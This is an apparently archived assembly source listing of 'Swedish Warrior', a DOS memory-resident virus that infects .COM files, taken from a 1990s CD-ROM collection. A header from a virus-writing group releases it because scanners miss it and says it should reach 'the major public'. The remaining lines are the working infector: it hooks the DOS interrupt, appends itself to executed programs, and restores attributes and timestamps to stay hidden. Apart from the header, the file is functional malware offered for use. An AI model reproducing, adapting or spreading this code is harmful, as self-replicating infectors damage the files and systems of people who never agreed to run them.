home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / S.ZIP / SW.ASM < prev    next >
Assembly Source File  |  1994-01-05  |  4KB  |  223 lines

  1. ; VirusName: Swedish Warrior
  2. ; Origin   : Sweden
  3. ; Author   : Lord Zero
  4. ;
  5. ; Okey, I decided to include this virus, of many reasons. But first
  6. ; let's give some information about LOC (Logical Coders).
  7. ; LOC (Logical Coders) turned out to be a demo-group instead of a Virus-
  8. ; group, that I thought it was. THM (Trojan Horse Maker 1.10) was just
  9. ; released by Lord Zero, ie, NOT a LOC product. Lord Zero was also
  10. ; kicked from LOC after LOC noticed 'their' release of THM. 
  11. ;
  12. ; Then why release it? Well It can't however still not be detected
  13. ; by any scanner (except Tbscan's Heuristic!). And it's a shame to
  14. ; see a virus being programmed, but not given to the major public.
  15. ; A message to all of LOC, Sorry for state "LoC the new Swedish
  16. ; virus writing group", but what was I suppose to think?
  17. ; I wish Lord Zero my best in his single career, or what-ever.. 
  18. ;                      / The Unforgiven/Immortal Riot
  19. ; ──-──────-───────────--────────────--───────--─-─────────────-─────-─
  20. ;                    SWEDISH WARRIOR
  21. ; ──-──────-───────────--────────────--───────--─-─────────────-─────-─
  22. ; A hardly commented non-overwriting memory resident *.COM infector.
  23.  
  24.         .MODEL TINY
  25.         .CODE
  26.         org    100h
  27.  
  28.  
  29. Start:
  30.         call    go
  31. go:        pop    bp
  32.         push    ax
  33.         push    cx
  34.         sub    bp,offset go
  35.         mov    ax,3D03h
  36.         mov    dx,9eh
  37.         int    21h
  38.         jnc    ok
  39.  
  40.         mov    cx,cs
  41.         mov    ds,cx
  42.         mov    es,cx
  43.  
  44.         mov    cx,es
  45.         dec    cx
  46.         mov    es,cx
  47.  
  48.         mov    bx,es:[03h]
  49.  
  50.         mov    dx,offset Finish-offset Start
  51.         mov    cl,4
  52.         shr    dx,cl
  53.         add    dx,4
  54.  
  55.         mov    cx,es
  56.         inc    cx
  57.         mov    es,cx
  58.  
  59.         sub    bx,dx
  60.         mov    ah,4Ah
  61.         int    21h
  62.  
  63.         jc    ok
  64.         dec    dx
  65.         mov    ah,48h
  66.         mov    bx,dx
  67.         int    21h
  68.  
  69.         jc    ok
  70.  
  71.         dec    ax
  72.         mov    es,ax
  73.         mov    cx,8
  74.         mov    es:[01],cx
  75.         mov    si,offset offset start
  76.         add    si,bp
  77.         sub    ax,0Fh
  78.         mov    es,ax
  79.         mov    di,0100h
  80.         mov    cx,offset Finish-offset Start
  81.         cld
  82.         rep    movsb
  83.         xor    ax,ax
  84.         mov    ds,ax
  85.         mov    di,offset oldint21
  86.         mov    si,084h
  87.         mov    bx,offset tsr
  88.         call    maketsr
  89. ok:
  90.         push    cs
  91.         pop    es
  92.         push    es
  93.         pop    ds
  94.         mov    di,0100h
  95.         mov    si,offset buffer
  96.         add    si,bp
  97.         movsw
  98.         movsb
  99.         pop    cx
  100.         pop    ax
  101.         xor    dx,dx
  102.         push    dx
  103.         xor    bp,bp
  104.         xor    si,si
  105.         xor    di,di
  106.         mov    bx,0100h
  107.         push    bx
  108.         xor    bx,bx
  109.         retn
  110.         db    'Swedish Warrior v1.0 by Lord Zer0.'
  111. buffer        db    90h,0CDh,20h
  112. oldint21:
  113.         dd    ?
  114. new_jmp        db    0e9h,00h,00h
  115. tsr:
  116.         pushf
  117.         cmp    ah,4Bh           ; check for execution,
  118.         je    infect           ; if so, infect it....
  119.         cmp    ax,3D03h
  120.         jne    gooo
  121.         popf
  122.         iret
  123. gooo:
  124.         popf
  125.         jmp    dword ptr cs:[oldint21]
  126. infect:
  127.         push    ax
  128.         push    bx
  129.         push    cx
  130.         push    dx
  131.         push    bp
  132.         push    si
  133.         push    di
  134.         push    ds
  135.         push    es
  136.         mov    ax,4300h
  137.         int    21h
  138.         jc    quit
  139.         push    cx
  140.         xor    cx,cx
  141.         mov    ax,4301h
  142.         int    21h
  143.  
  144.         mov    ax,3d02h
  145.         int    21h
  146.         push    ds
  147.         push    dx
  148.         push    cs
  149.         pop    ds
  150.         mov    bx,ax
  151.         mov    ah,3fh
  152.         mov    dx,offset buffer
  153.         mov    cx,3
  154.         int    21h
  155.         cmp    word ptr cs:[buffer],'ZM'
  156.         je    quitexe
  157.  
  158.         mov    ax,4202h
  159.         xor    cx,cx
  160.         xor    dx,dx
  161.         int    21h
  162.  
  163.         sub    ax,offset finish-offset start+3
  164.         cmp    ax,word ptr cs:[buffer+1]
  165.         je    quitexe
  166.         add    ax,offset finish-offset start
  167.         mov    word ptr cs:[new_jmp+1],ax
  168.  
  169.         mov    ah,40h
  170.         mov    cx,offset finish-offset start
  171.         mov    dx,0100h
  172.         int    21h
  173.         jc    quitexe
  174.  
  175.         mov    ax,4200h
  176.         xor    cx,cx
  177.         xor    dx,dx
  178.         int    21h
  179.  
  180.         mov    ah,40h
  181.         mov    cl,3
  182.         mov    dx,offset new_jmp
  183.         int    21h
  184. quitexe:
  185.         mov    ax,5700h
  186.         int    21h
  187.         inc    al
  188.         int    21h
  189.         mov    ah,3eh
  190.         int    21h
  191.         pop    dx
  192.         pop    ds
  193.  
  194.         pop    cx
  195.         mov    ax,4301h
  196.         int    21h
  197. quit:
  198.         pop    es
  199.         pop    ds
  200.         pop    di
  201.         pop    si
  202.         pop    bp
  203.         pop    dx
  204.         pop    cx
  205.         pop    bx
  206.         pop    ax
  207.         jmp    gooo
  208. maketsr:
  209.         mov    ax,[si]
  210.         mov    es:[di],ax
  211.         mov    ax,[si+2]
  212.         mov    es:[di+2],ax
  213.  
  214.         cli                ; Disable interrupts
  215.         mov    ds:[si],bx
  216.         mov    ds:[si+2],es
  217.         sti                ; Enable interrupts
  218.         ret
  219. finish:
  220.         end    start